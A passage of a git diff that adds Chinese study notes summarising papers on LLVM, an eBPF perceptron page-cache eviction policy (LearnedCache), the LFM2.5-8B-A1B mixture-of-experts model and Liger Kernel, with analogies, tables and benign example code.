+Pass 2 [InstCombine - 指令合并]:
+  把 100 * 3 在编译期直接算出 300（常量传播）
+
+Pass 3 [LoopUnroll - 循环展开]:
+  如果 n 很小，把循环展开成顺序代码，消除分支开销
+
+Pass 4 [Vectorize - 自动向量化]:
+  把标量加法变成 SIMD 指令（一次处理 4 个整数）
+```
+
+这就是论文中「Lifelong」的精髓：从前端拿到 IR 开始，到最终生成机器码之前，**IR 可以被反复改造、精简、加速**——而且每一步都保证语义等价。
+
+## 论文的关键贡献
+
+1. **统一 IR 的设计**：一个语言无关的、SSA 形式的中间表示，同时支持多种前端和多种后端
+2. **终身分析模型**：IR 在编译期、链接期、运行期都可以接受分析和变换（支持 AOT、JIT、LTO）
+3. **模块化 Pass 架构**：每个优化/分析是独立模块，可组合、可排序、可调试
+4. **三种 IR 格式的共存**：文本可读、内存高效、二进制紧凑，服务不同生命周期阶段
+
+## 与 GCC 的对比（论文中的核心动机）
+
+| 维度 | GCC | LLVM |
+|------|-----|------|
+| 架构 | 前端和后端紧耦合 | 前端/IR/后端三层分离 |
+| 优化管道 | 内嵌在编译器内部，难以外部扩展 | 模块化 Pass，可自由组合 |
+| JIT 支持 | 需要额外项目（如 GCCJIT） | IR 本身设计就支持运行时编译 |
+| 增量编译 | 重新编译整个函数 | bitcode 可单独存储，链接期可重新优化 |
+| 目标扩展 | 需要修改编译器核心代码 | 只需实现新前端或新后端 |
+
+## 自检清单
+
+读完可以用下面问题自测是否真懂：
+
+- [ ] 能否用自己的话解释 SSA 形式是什么、为什么要用它？
+- [ ] 三种 IR 格式分别适合什么场景？为什么需要三种？
+- [ ] 为什么说 LLVM 的优化是「终身」的，而不是只在编译期做一次？
+- [ ] 一个 Pass 只做一个变换——这跟 GCC 的做法有什么本质区别？
+- [ ] 前端/后端分离的架构，对一门新语言（比如你设计的 DSL）有什么好处？
+
+## 延伸阅读
+
+- Chris Lattner, *The Architecture of Open Source Applications: LLVM* (2011) — 更详细的架构讲解
+- LLVM Language Reference Manual — 最新的 IR 语法和语义文档
+- Chris Lattner 的 AOSABook 章节 (2011) — LLVM 在实际生产中的演进
+- MLIR (2019+) — LLVM 团队的下一代多粒度 IR 项目，延续了同一设计理念
+
+## 小结
+
+这篇 2004 年的论文描述了一个朴素但极具远见的想法：**把编译器的「中间部分」抽出来，做成一个通用的分析与变换平台。** 这个决定后来被证明是过去二十年最有价值的软件工程决策之一——Apple、Rust、Swift、Julia、PostgreSQL、Nvidia、Sony PS4 都在用它。
+
+对你我这样的学习者：下次看到任何「新语言新框架」，先问——它的 IR 是自创的还是用 LLVM/MLIR？**如果后者，那这篇 2004 年的论文就是它最深的根基。**
diff --git a/src/content/docs/papers/learnedcache-ebpf-integrated-perceptron-based-eviction-policy-arxiv-2605-26168.md b/src/content/docs/papers/learnedcache-ebpf-integrated-perceptron-based-eviction-policy-arxiv-2605-26168.md
new file mode 100644
index 000000000..a251ddb7c
--- /dev/null
+++ b/src/content/docs/papers/learnedcache-ebpf-integrated-perceptron-based-eviction-policy-arxiv-2605-26168.md
@@ -0,0 +1,244 @@
+---
+title: LearnedCache — 用 eBPF + 单层感知机给 Linux 页缓存装上"预测大脑"
+来源: https://arxiv.org/abs/2605.26168
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+## 是什么
+
+LearnedCache 是一篇 2026 年 5 月发表的论文，核心想法很简单：给 Linux 操作系统的页缓存（page cache）换一个"更聪明"的淘汰策略，用机器学习模型代替传统的 FIFO/LRU，从而减少磁盘访问、提升性能。
+
+## 日常类比：图书馆的书架
+
+想象图书馆有 100 个书架位（等于页缓存大小），每天读者借走各种书（磁盘页/page）。书架满了，管理员必须决定"谁该被清走"。
+
+传统策略（FIFO）像这样：**先来先走**。第一本被放进书架的书，排到最末尾时就会被丢出去——不管它是不是大家最常借的热门书。
+
+LRU（最近最少使用）稍微聪明一点：**最久没人碰的书先走**。但如果一本书"每隔 100 天被借一次"，LRU 会以为它"很久没用"，然后把它扔掉——结果它被扔掉之后立刻又被借了，造成"误判"。
+
+LearnedCache 的做法是：给每本书建一个**个人档案**，记录它被借的时间间隔、这本书有多厚、上次和这次借之间隔了多久……然后用一个简单的数学模型（单层感知机）来**预测这本书下次什么时候会被借**。预测"下次借"时间最长的书，先被清走。
+
+就像你开始整理书架时，不再看"谁来得最早"，而是看"谁最可能不会再被需要"。
+
+## 核心概念
+
+### 1. Linux 页缓存（Page Cache）
+
+Linux 会把磁盘上的文件数据读进内存（RAM），这就是页缓存。下次再读同一个文件时，直接从内存返回，不用再碰磁盘——磁盘比内存慢几十到上百倍，所以这步优化极其重要。但当内存满了，Linux 必须把某些页清出去，这个**决定谁走的规则**就是"淘汰策略"（eviction policy）。Linux 默认用 MGLRU（多 generations 的 LRU 变体）。
+
+### 2. eBPF
+
+eBPF 是 Linux 内核里的一种"沙盒小程序"机制。你可以写一段代码，经过内核自带的验证器（verifier）检查确认"这段代码不会搞坏系统"之后，直接跑在内核的关键路径上。它的特点是**高性能 + 安全**——不像以前改内核模块那样危险。LearnedCache 用 eBPF 把 ML 模型直接塞进了内核的页缓存淘汰流程里。
+
+但 eBPF 有两个重大限制：
+- 栈大小最多 512 字节
+- **不允许浮点数运算**——所有计算必须用整数
+
+### 3. 单层感知机（Single-Layer Perceptron）
+
+感知机是最简单的"神经网络"，只有一个公式：
+
+```
+得分 = 特征1 × 权重1 + 特征2 × 权重2 + ... + 特征n × 权重n
+```
+
+你可以把它理解为一个**加权评分表**。每张页（页缓存里的一项数据）有一组特征（比如"上次访问和这次访问隔了多久"），每个特征有权重（模型训练出来的，表示这个特征重要到什么程度）。得分高的表示"很可能很快会被再次访问"，得分低的表示"可能暂时不会被用了"。
+
+### 4. Bradley-Terry 配对排序
+
+LearnedCache 的模型不是直接预测"某个页下次什么时候被访问"，而是用 Bradley-Terry 模型做**两两比较**：在两个候选页之间，模型预测"A 比 B 更晚被重用"的概率是多少。
+
+公式推导：
+
+```
+P(A 比 B 更晚被重用) = sigmoid(得分_A - 得分_B)
+                      = sigmoid(w·xA - w·xB)
+                      = sigmoid(w·(xA - xB))
+```
+
+其中 xA 和 xB 是两个页的特征向量，w 是感知机的权重向量。因为模型是线性的，最终在部署时不需要做复杂的 sigmoid 运算——只需要给每个页算一个简单得分，然后排序就行了。
+
+### 5. 离散化（Discretization）
+
+原始特征（比如"距离上次访问过了 3.7 秒"）是连续值，分布极度偏斜——大部分值集中在 0 附近，少数极端值拖到很远的右边。
+
+离散化的做法：按**分位数**把连续值切成 10 个"区间"（bin），每个区间对应一个整数标签。这带来两个好处：
+- 数据分布变得均匀，训练更稳定
+- 可以用 one-hot 编码，让模型捕捉非线性关系
+
+举例：如果"页面访问时间间隔"被离散化成 10 个 bin，那么"间隔 < 0.1 秒"是 bin 0，"0.1~0.5 秒"是 bin 1，"间隔 > 50 秒"是 bin 9。
+
+### 6. ML-at-the-tail 架构
+
+LearnedCache 没有完全替换 FIFO，而是用"尾端重排"的方式：先从 FIFO 队列的尾部采样 32 个候选页，然后用 ML 模型给这 32 个页打分，把**得分最低**（预测最不会被重用）的页真正淘汰掉。
+
+这样做的原因：全量排序所有缓存页太慢了（O(N log N)），但只评估一小部分候选页，开销几乎可以忽略。
+
+## 特征工程
+
+LearnedCache 提取了 9 个特征，全部围绕**时间间隔**和**热度**：
+
+| # | 特征 | 说明 |
+|---|------|------|
+| 1 | 页面最后两次访问的时间差 | 这张纸上次和上上次被翻，隔了多久 |
+| 2 | 页面倒数第二、三次访问的时间差 | 更早之前的访问间隔 |
+| 3 | 文件 inode 最后一次访问距今多久 | 整个文件上次被碰，隔了多久 |
+| 4 | 文件 inode 倒数第二、三次访问的时间差 | |
+| 5 | 文件内的相对访问距离 | 这次读的是文件的第几页，距离上次读的页差多远 |
+| 6 | 文件大小（页数） | 文件一共多少页 |
+| 7 | 页面的指数移动平均热度 | 每次访问 +1，每秒钟衰减半 |
+| 8 | inode 的指数移动平均热度 | 同上，但针对整个文件 |
+| 9 | 最后一次访问到被驱逐的时间 | 训练目标：从访问到被踢出缓存过了多久 |
+
+## 代码示例
+
+### 示例 1：训练（Python，scikit-learn）
+
+```python
+from sklearn.linear_model import SGDClassifier
+from sklearn.preprocessing import OneHotEncoder
+import numpy as np
+
+# 离散化后的特征：每个特征被 one-hot 编码成多个二元列
+# 假设有 9 个特征，每个 10 个 bin，共 90 列
+X_train = np.random.randint(0, 2, size=(10000, 90))
+
+# 标签：两个候选页的配对比较结果
+# y = 1 表示页 A 比页 B 更晚被重用，y = 0 表示页 A 更早被重用
+y_train = np.random.randint(0, 2, size=10000)
+
+# 单层感知机：本质就是一个带线性核的 SVM
+model = SGDClassifier(
+    loss="modified_huber",  # 提供 sigmoid 梯度，用于训练
+    max_iter=50,
+    tol=1e-3,
+    random_state=42
+)
+model.fit(X_train, y_train)
+
+# 训练完成：model.coef_ 就是权重向量 w
+w = model.coef_[0]  # 形状为 (90,)，每个 bin 对应一个权重
+print(f"权重范围: [{w.min():.3f}, {w.max():.3f}]")
+```
+
+这段代码训练了一个感知机。关键点：`SGDClassifier` 用随机梯度下降，`loss="modified_huber"` 提供了类似 sigmoid 的梯度函数用于反向传播。训练出来的 `w` 就是后面要嵌入到内核里的权重。
+
+### 示例 2：eBPF 部署（C，内核算法核心）
+
+```c
+// eBPF 程序：对每个候选页计算 ML 得分
+#define PROCESS_FEATURE(feat_idx) \
+do { \
+    u32 idx = (feat_idx); \
+    __u8 *n_bins_ptr = bpf_map_lookup_elem(&n_bins_map, &idx); \
+    if (n_bins_ptr) { \
+        __u64 (*bin_edges)[MAX_BINS] = bpf_map_lookup_elem(&bin_edges_map, &idx); \
+        if (bin_edges) { \
+            s64 (*weights)[MAX_BINS] = bpf_map_lookup_elem(&nn_weights_map, &idx); \
+            if (weights) { \
+                __u8 n_bins = *n_bins_ptr; \
+                if (n_bins > 0 && n_bins <= MAX_BINS) { \
+                    __u8 bin = discretize_feature(raw_features[feat_idx], *bin_edges, n_bins); \
+                    if (bin >= MAX_BINS) bin = MAX_BINS - 1; \
+                    score += (*weights)[bin]; \
+                } \
+            } \
+        } \
+    } \
+} while (0)
+
+// 离散化函数：用硬编码的 if-else 链（为了通过 eBPF 验证器）
+static inline __u8 discretize_feature(__u64 value, __u64 *bin_edges, __u8 n_bins) {
+    __u8 n_interior_edges = n_bins - 1;
+    if (n_interior_edges > 0 && value < bin_edges[0]) return 0;
+    if (n_interior_edges > 1 && value < bin_edges[1]) return 1;
+    if (n_interior_edges > 2 && value < bin_edges[2]) return 2;
+    if (n_interior_edges > 3 && value < bin_edges[3]) return 3;
+    if (n_interior_edges > 4 && value < bin_edges[4]) return 4;
+    if (n_interior_edges > 5 && value < bin_edges[5]) return 5;
+    if (n_interior_edges > 6 && value < bin_edges[6]) return 6;
+    if (n_interior_edges > 7 && value < bin_edges[7]) return 7;
+    if (n_interior_edges > 8 && value < bin_edges[8]) return 8;
+    return n_bins - 1;
+}
+
+// 在淘汰请求中，对每个候选页调用
+int eviction_hook(void *ctx) {
+    s64 score = 0;
+    PROCESS_FEATURE(0);  // 特征 0: 页面最后两次访问时间差
+    PROCESS_FEATURE(1);  // 特征 1: 页面倒数第二、三次访问时间差
+    PROCESS_FEATURE(2);  // 特征 2: 文件 inode 最后一次访问距今
+    // ... 更多特征
+    // score 就是该页的预测得分，得分越低越应该被淘汰
+    return score;
+}
+```
+
+这段 eBPF 代码展示了模型在内核里的实际运行方式：**没有浮点数、没有循环、没有动态内存分配**。权重和 bin 边界通过 eBPF map（一种内核数据结构）从用户态加载，每个特征的处理就是一个"查表 + 累加"的操作。`PROCESS_FEATURE` 用宏定义展开，避免函数调用开销。
+
+## 训练结果
+
+论文用 Filebench 生成了 6 种模拟工作负载来训练模型，结果如下：
+
+| 工作负载 | AUC | F1 分数 |
+|----------|-----|---------|
+| copyfiles | 0.999 | 0.990 |
+| webserver | 0.984 | 0.930 |
+| webproxy | 0.861 | 0.720 |
+| openfiles | 0.823 | 0.720 |
+| varmail | 0.682 | 0.650 |
+| mongo | 0.661 | 0.650 |
+
+AUC 接近 80% 意味着模型的排序能力相当不错。copyfiles 和 webserver 这种"读写模式比较规律"的工作负载，模型表现几乎完美。
+
+## 内核实测结果
+
+论文在 50 轮配对实验中，把 LearnedCache 跟 FIFO 做了对比。核心指标是**插入率**（insertions / accesses，越低表示缓存命中越好）：
+
+| 工作负载 | 相对基线变化 | 是否显著 |
+|----------|-------------|---------|
+| webproxy | **-9.69%** | 是 (p=6.3×10⁻²¹) |
+| copyfiles | **-8.78%** | 是 (p=2.5×10⁻¹⁴) |
+| webserver | **-3.76%** | 是 (p=5.5×10⁻³⁰) |
+| varmail | -0.08% | 是 (边缘显著) |
+| openfiles | +1.02% | 否 |
+| mongo | +7.28% | 否（性能下降） |
+
+webproxy 效果最惊艳——插入率降低了 9.69%，p 值小到 10⁻²¹ 级别，说明这个改善几乎不可能是随机波动造成的。
+
+## 关键挑战
+
+### eBPF 里不能用浮点数
+
+Linux 内核不允许浮点运算，所以所有权重都要**量化成整数**。做法是把浮点权重乘以 10000 再四舍五入到整数。这带来了精度损失，但实验表明影响不大。
+
+### eBPF 验证器非常严格
+
+循环、动态数组、深层嵌套都可能过不了验证器。LearnedCache 用了**手动展开循环**（hard-coded if-else 链）来确保验证器能静态证明数组访问不会越界。这是工程上非常务实的妥协。
+
+### 不是所有工作负载都适用
+
+mongo 和 openfiles 上 LearnedCache 甚至不如 FIFO。论文分析：mongo 的访问模式过于随机，模型学不到有效的规律。这说明 ML 淘汰策略**有适用的边界**——访问模式有规律的工作负载才能从中受益。
+
+### 权重的可解释性
+
+因为模型是线性的 + one-hot 编码，权重本身是**可解释的**。比如 webserver 工作负载中，"文件大小"和"inode 热度"的权重最高——这恰好跟一个基于规则的启发式策略能学到的一样。但在 varmail 和 mongo 上，权重分布很"散"，说明这些负载的模式更复杂，简单的线性模型不够用。
+
+## 学习要点总结
+
+1. **页缓存淘汰策略**不是"选了 LRU 就完事"——不同工作负载有不同的访问模式，一个策略不可能通吃
+2. **ML 可以跑在内核里**，但必须做大量工程妥协：整数化、离散化、无浮点、验证器友好
+3. **eBPF 是连接"灵活策略"和"高性能"的桥梁**——以前加自定义淘汰策略要改内核源码，现在 eBPF 可以热插拔
+4. **模型简单反而更好**——单层感知机就能带来显著改善，复杂模型在 eBPF 的约束下反而不划算
+5. **训练数据必须来自内核**——用户态的 trace 跟内核看到的视角不同，只有内核里的 eBPF tracer 能拿到真实数据
+
+## 延伸思考
+
+如果感知机就能带来 ~10% 的改善，那深层神经网络呢？在 eBPF 里显然不行（512 字节栈、无浮点、无动态内存），但在类似 cache_ext 这样的框架里，或许可以探索**混合方案**——轻量模型放内核实时推理，重模型放用户态做"二次调优"。这值得进一步研究。
+
+---
+
+**一句话总结**：LearnedCache 证明了用 eBPF 把训练好的感知机模型放进 Linux 内核页缓存淘汰流程是可行的，在特定工作负载下比 FIFO 少了最多 10% 的不必要磁盘访问——用"预测下次谁会回来"代替"谁来得最早谁就走"。
diff --git a/src/content/docs/papers/lfm2-5-8b-a1b-moe.md b/src/content/docs/papers/lfm2-5-8b-a1b-moe.md
new file mode 100644
index 000000000..75256321c
--- /dev/null
+++ b/src/content/docs/papers/lfm2-5-8b-a1b-moe.md
@@ -0,0 +1,300 @@
+---
+title: LFM2.5-8B-A1B — 38T 预训练的边缘 MoE 个人助手
+来源: 'Liquid AI, "LFM2.5-8B-A1B: An Even Better On-Device Mixture of Experts", Liquid AI Blog, 2026; LFM2 Technical Report, arXiv:2511.23404'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：带专家会诊台的随身翻译
+
+想象你随身带了一个「小型咨询中心」，墙上挂着 **32 位专科顾问** 的名牌，但规则是：**每回答一个问题，只允许 4 位顾问同时开口**。
+
+- 中心名义上拥有 **8B 量级的知识储备**（32 位顾问各自训练过不同领域）。
+- 你每次提问真正消耗的算力，却接近 **1.5B 活跃参数** 的小团队——因为路由器只会点亮 Top-4 专家。
+- 新版 LFM2.5 还换了一本 **128K 页的大记事本**（上下文从 32K 扩到 128K），并且顾问在正式答复前会先写一段 **「思考过程」**（reasoning-only / Chain-of-Thought），再给出最终答案。
+
+Liquid AI 在 2026 年 5 月发布的 **LFM2.5-8B-A1B**，名字里的 **8B** 指总参数量级，**A1B** 指每次 forward 大约 **1.5B active parameters**。它把预训练数据从上一代 LFM2-8B-A1B 的 **12T tokens** 扩到 **38T tokens**，目标不是云端巨模型，而是 **笔记本、手机、单卡 GPU 上可本地运行的 Agent 助手**——能链式调用工具、读长文档、且数据不出设备。
+
+---
+
+## 是什么
+
+**LFM2.5-8B-A1B** 是 Liquid AI **LFM2.5** 家族中的 **Mixture-of-Experts（MoE）** 文本模型，面向：
+
+- **端侧部署**：llama.cpp（GGUF）、MLX（Apple Silicon）、ONNX、vLLM、SGLang 首日支持。
+- **Agent / 工具调用**：BFCL、Tau² 等 agentic 基准上可与更大 MoE 竞争。
+- **长上下文**：**128K** token 窗口，适合整份 PDF、长对话、长工具轨迹。
+- **推理优先输出**：post-trained 版本为 **reasoning-only**，先显式 CoT，再给最终答案。
+
+Hugging Face 权重：
+
+- `LiquidAI/LFM2.5-8B-A1B` — 通用对话 + 推理 + 工具
+- `LiquidAI/LFM2.5-8B-A1B-Base` — 预训练基座，供微调
+
+官方推荐采样：`temperature=0.2`，`top_k=80`，`repetition_penalty=1.05`。
+
+---
+
+## 为什么重要
+
+### 1. 稀疏激活把「质量」和「延迟」拆开
+
+Dense 8B 模型每 token 都要跑满 8B 参数。MoE 把 **存储（总参数）** 与 **计算（活跃参数）** 解耦：路由器为每个 token 选少量专家，使 **8B 级知识密度** 配上 **~1.5B 级 decode 成本**。LFM2 Technical Report 指出：LFM2-8B-A1B 在约 **1.5B 级延迟** 下可达 **3–4B dense 级质量**——LFM2.5 在此基础上叠加 38T 预训练与 RL。
+
+### 2. 38T 预训练 + 针对性 RL，专治小模型的两大顽疾
+
+边缘模型参数少，天然 **知识边界窄、爱胡说**。Liquid 的两条 RL 线值得记：
+
+| 问题 | 手段 | 效果（相对 LFM2-8B-A1B） |
+|------|------|---------------------------|
+| **幻觉** | avg@k 奖励，鼓励「不知道就说不知道」 | AA-Omniscience **Non-Hallucination Rate** 7.46% → **63.47%** |
+| **推理死循环（doom loop）** | 偏好优化 + 惩罚 "Wait…" 等重启词 | 长 CoT 轨迹更稳定 |
+
+### 3. 128K 与 128K 词表：长文档 + 多语言端侧
+
+- **上下文**：先 2T token midtraining 到 32K（推理/数学/工具/长文），再提高 RoPE base θ + 400B token 到 **128K**。
+- **词表**：65K → **128K BPE**（原地扩展，新 embedding 用子词均值初始化），泰语 chars/token **+238%**，印地语 **+120%**，阿拉伯语 **+39%**——同样文本更短、推理更快。
+
+### 4. 生态位：本地 Private Agent
+
+官方 **Localcowork** 演示：单笔记本 + 67 工具 / 13 个 MCP server，无云、无 API Key。LFM2.5 在 M5 Max 上约 **253 tok/s**（<6GB），手机上约 **30 tok/s**——工具 dispatch 亚秒级，适合「问 → 提议 → 确认 → 执行」循环。
+
+---
+
+## 核心概念
+
+### 1. LFM2 混合骨干（Hybrid Backbone）
+
+LFM2 不是纯 Transformer。经 **hardware-in-the-loop 架构搜索** 得到的最小混合结构：
+
+| 组件 | 作用 |
+|------|------|
+| **Gated short convolution（LIV 块）** | 局部、输入感知的短程依赖；18/24 层为 double-gated LIV |
+| **GQA（Grouped-Query Attention）** | 6/24 层；KV head 共享，省 KV cache 显存 |
+| **MoE SwiGLU FFN** | 32 experts，**Top-4** / token；前 2 层保持 dense 稳定训练 |
+
+LFM2-8B-A1B 规格（LFM2.5 沿用同一骨架）：24 层，`d_model=2048`，32 query heads / 8 KV heads，MoE `FF=1792` × 32 experts。
+
+### 2. MoE 路由与 A1B 命名
+
+每个 token 经过 **sigmoid router + adaptive routing bias**（DeepSeek 式负载均衡），选 **4/32** 专家。总参 **8.3B**，活跃约 **1.5B**——社区简写 **8B-A1B**（Active ~1B 量级四舍五入）。
+
+直觉：**专家 = 不同「子网络技能包」**；路由 = **按 token 动态组队**。
+
+### 3. Reasoning-only：先想后答
+
+LFM2.5 post-trained 版 **强制** 输出 CoT 再答。MoE 在 compute-bound 场景下，**多写几个思考 token 的边际成本很低**（仍只激活 1.5B），因此用「多想几步」换 IFEval、MATH、Agent 任务上的质量——IFEval **79.44 → 91.84**（对比 LFM2-8B-A1B）。
+
+### 4. 训练流水线（38T 从哪来）
+
+```text
+[LFM2-8B-A1B 基座]
+    → 词表扩展 65K→128K（embedding 适配 + continued pretrain）
+    → 大规模 continued pretrain（累计至 ~38T tokens 规模）
+    → 2T midtraining：32K 上下文（推理/数学/工具/长文档）
+    → 400B midtraining：RoPE θ 调整 → 128K
+    → RL：幻觉 avg@k、doom loop 偏好优化、指令/Agent 对齐
+    → LFM2.5-8B-A1B
+```
+
+**38T** 是相对上一代 **12T** 的预训练规模跃迁；exact 数据 mix 未完全公开，但官方强调 **tool-use、长轨迹、多语言** 比重上升。
+
+### 5. 与相近模型对比（官方博客摘录）
+
+| 模型 | 总/活跃参数 | IFEval | MATH500 | BFCLv3 | Tau² Telecom |
+|------|-------------|--------|---------|--------|--------------|
+| **LFM2.5-8B-A1B** | 8B / 1.5B | **91.84** | **88.76** | **64.79** | **88.07** |
+| Granite-4.0-H-Tiny | 7B / 1B | 82.23 | 59.20 | 56.89 | 16.67 |
+| Qwen3-30B-A3B-Thinking | 30.5B / 3.3B | 90.82 | 86.48 | 73.39 | 21.93 |
+| Gemma-4-26B-A4B-IT | 26B / 4B | 91.40 | 94.20 | 68.87 | 42.11 |
+
+小激活参数量下，**指令遵循 + 电信 Agent 场景** 表现突出；数学上 Qwen3-30B-A3B 仍更强，但 LFM2.5 的 **吞吐与端侧 footprint** 是差异化卖点。
+
+### 6. 部署格式选型
+
+| 格式 | 场景 |
+|------|------|
+| 原生 HF / vLLM / SGLang | GPU 服务、微调 |
+| GGUF + llama.cpp | CPU / 跨平台边缘 |
+| MLX | Mac Apple Silicon |
+| ONNX | 跨加速器推理 |
+
+---
+
+## 代码示例 1：Transformers 本地对话（官方 Quick Start）
+
+需要 `transformers>=5.0.0`，GPU 上可开 `flash_attention_2`。
+
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer, TextStreamer
+
+model_id = "LiquidAI/LFM2.5-8B-A1B"
+
+model = AutoModelForCausalLM.from_pretrained(
+    model_id,
+    device_map="auto",
+    dtype="bfloat16",
+    # attn_implementation="flash_attention_2",  # 兼容 GPU 可取消注释
+)
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+streamer = TextStreamer(tokenizer, skip_prompt=True, skip_special_tokens=True)
+
+messages = [
+    {"role": "user", "content": "用三句话解释 Mixture-of-Experts 为什么适合端侧 Agent。"}
+]
+
+input_ids = tokenizer.apply_chat_template(
+    messages,
+    add_generation_prompt=True,
+    return_tensors="pt",
+    tokenize=True,
+).to(model.device)
+
+output = model.generate(
+    input_ids,
+    do_sample=True,
+    temperature=0.2,
+    top_k=80,
+    repetition_penalty=1.05,
+    max_new_tokens=2048,
+    streamer=streamer,
+)
+```
+
+**观察要点**：输出里通常会先出现 **思考/推理段落**，再给出精简结论——这是 reasoning-only 训练的结果，解析下游答案时可能需要按模板切分 CoT 与 final answer。
+
+---
+
+## 代码示例 2：结构化工具调用（Agent 最小闭环）
+
+LFM2.5 强调 **native tool calling**。下面用 OpenAI 兼容的 `tools` 字段演示「查天气 → 模型决定是否调用函数」——实际 schema 以 tokenizer chat template 为准；生产环境建议直接用 Liquid 文档中的 tool 模板或 vLLM tool parser。
+
+```python
+import json
+from transformers import AutoModelForCausalLM, AutoTokenizer
+
+model_id = "LiquidAI/LFM2.5-8B-A1B"
+model = AutoModelForCausalLM.from_pretrained(model_id, device_map="auto", dtype="bfloat16")
+tokenizer = AutoTokenizer.from_pretrained(model_id)
+
+tools = [
+    {
+        "type": "function",
+        "function": {
+            "name": "get_weather",
+            "description": "查询指定城市的当前天气",
+            "parameters": {
+                "type": "object",
+                "properties": {
+                    "city": {"type": "string", "description": "城市名，如 Shanghai"},
+                    "unit": {"type": "string", "enum": ["celsius", "fahrenheit"]},
+                },
+                "required": ["city"],
+            },
+        },
+    }
+]
+
+def fake_get_weather(city: str, unit: str = "celsius") -> dict:
+    return {"city": city, "temp": 26, "unit": unit, "condition": "cloudy"}
+
+messages = [
+    {"role": "user", "content": "上海现在天气怎么样？如果需要工具就调用。"},
+]
+
+# 多数 Liquid chat template 支持 tools= 参数（以当前 tokenizer 文档为准）
+prompt_ids = tokenizer.apply_chat_template(
+    messages,
+    tools=tools,
+    add_generation_prompt=True,
+    return_tensors="pt",
+    tokenize=True,
+).to(model.device)
+
+generated = model.generate(
+    prompt_ids,
+    max_new_tokens=512,
+    temperature=0.2,
+    top_k=80,
+    repetition_penalty=1.05,
+)
+text = tokenizer.decode(generated[0], skip_special_tokens=True)
+print(text)
+
+# 若模型输出 function call，解析后执行并回灌（第二轮）
+# observation = fake_get_weather("Shanghai")
+# messages += [{"role": "assistant", "content": text},
+#              {"role": "tool", "name": "get_weather", "content": json.dumps(observation)}]
+# ... 再次 apply_chat_template + generate
+```
+
+**Agent 设计提示**：
+
+1. **128K 上下文** 可塞入较长 tool 文档 + 多轮轨迹，但仍应做 observation 摘要，避免噪音淹没路由。
+2. 小模型 **知识边界** 有限——对 factual QA 应配合检索或允许模型 **拒答**（RL 已强化 abstention）。
+3. 链式工具调用时监控 **doom loop**；若出现反复 "Wait…"，降低 `max_new_tokens` 或加 stop sequences。
+
+---
+
+## 代码示例 3：llama.cpp 量化推理（边缘 CPU）
+
+适合无独显笔记本；需先下载 `LFM2.5-8B-A1B-GGUF`。
+
+```bash
+# 示例：Q4_K_M 量化，交互式 chat
+./llama-cli \
+  -m LFM2.5-8B-A1B-Q4_K_M.gguf \
+  -c 8192 \
+  --temp 0.2 \
+  --top-k 80 \
+  --repeat-penalty 1.05 \
+  -p "你好，请用一句话介绍 LFM2.5 MoE。"
+```
+
+`-c` 为上下文槽位；要跑满 128K 需更大 RAM 并提高 `-c`（实际受机器内存限制）。官方称 entry-level laptop 仍可舒适运行。
+
+---
+
+## 零基础心智模型：读名字、读基准、读部署
+
+1. **LFM2.5-8B-A1B** = Liquid 第 2.5 代、8B 总参数、约 1.5B 激活的 MoE。
+2. **38T tokens** = 相对 12T 的预训练扩容，是能力跃迁的主因之一（外加 RL 与 128K midtraining）。
+3. **128K + tool calling + reasoning** = 面向 **本地 Agent**，不是单纯聊天 Bot。
+4. **选模型**：要微调用 Base；要开箱 Agent 用 post-trained；要 Mac 本地优先试 MLX/GGUF。
+
+---
+
+## 局限与使用注意
+
+| 风险 | 说明 |
+|------|------|
+| **知识上限** | 8B 级 MoE 仍会在冷门事实上幻觉；应依赖 RAG 或接受拒答 |
+| **CoT 开销** | reasoning-only 增加输出 token 数；虽单 token 便宜，但总延迟仍随 CoT 长度上升 |
+| **MoE 实现** | 需框架支持稀疏路由；错误实现可能退化为慢速 dense |
+| **多语言** | 词表改进不等于文化/事实对齐；低资源语言仍需谨慎评测 |
+| **训练成本** | 38T 预训练碳足迹大；端侧收益是推理阶段私有化，不是训练环保 |
+
+---
+
+## 与相关工作的关系
+
+- **LFM2 Technical Report（arXiv:2511.23404）**：给出 hybrid backbone、MoE 32×Top-4、硬件协同搜索的完整规格——读 LFM2.5 前先读 LFM2 一节即可建立架构直觉。
+- **DeepSeek-V2/V3 式 MoE 路由**：负载均衡 bias、sigmoid gate 属同一族稀疏 FFN 设计。
+- **Qwen3 / Gemma 4 小 MoE**：同赛道对比对象；LFM2.5 差异化在 **Liquid 卷积混合层 + 端侧吞吐优化 + LEAP 移动端栈**。
+
+---
+
+## 进一步阅读
+
+- [Liquid AI 发布博客](https://www.liquid.ai/blog/lfm2-5-8b-a1b)
+- [官方模型文档](https://docs.liquid.ai/lfm/models/lfm25-8b-a1b)
+- [Hugging Face: LiquidAI/LFM2.5-8B-A1B](https://huggingface.co/LiquidAI/LFM2.5-8B-A1B)
+- [LFM2 Technical Report (arXiv:2511.23404)](https://arxiv.org/html/2511.23404)
+
+---
+
+## 小结
+
+**LFM2.5-8B-A1B** 把 **MoE 稀疏计算**、**38T 规模预训练**、**128K 长上下文** 和 **面向 Agent 的 RL** 打包成可本地部署的 open-weight 模型：名义 8B 知识、约 1.5B 激活算力、强调工具链式调用与低幻觉拒答。对零基础学习者，记住一句话即可：**它是为「躺在你笔记本里的私人 Agent」设计的 MoE，而不是为数据中心峰值榜设计的巨模型。**
diff --git a/src/content/docs/papers/liger-kernel-llm-training.md b/src/content/docs/papers/liger-kernel-llm-training.md
new file mode 100644
index 000000000..c1476dab8
--- /dev/null
+++ b/src/content/docs/papers/liger-kernel-llm-training.md
@@ -0,0 +1,328 @@
+---
+title: Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件
+来源: https://arxiv.org/abs/2410.10989
+日期: 2026-06-13
+子分类: ML 系统
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：FlashAttention 修好了高速公路，Liger 把收费站也拆了
+
+训练大语言模型（LLM）时，很多人已经知道 [[flash-attention]] / [[flashattention-2]]：它像把 attention 这条**最堵的高速公路**改成了单行隧道——不再把整张 N×N 分数表写进显存，吞吐立刻上去。
+
+但车开完全程，还要过一堆**小收费站**：RMSNorm、RoPE、SwiGLU、最后的 Linear + CrossEntropy……每个站都要：
+
+1. 把数据从 GPU 显存（HBM）搬进片上 SRAM；
+2. 算完；
+3. 再搬回 HBM；
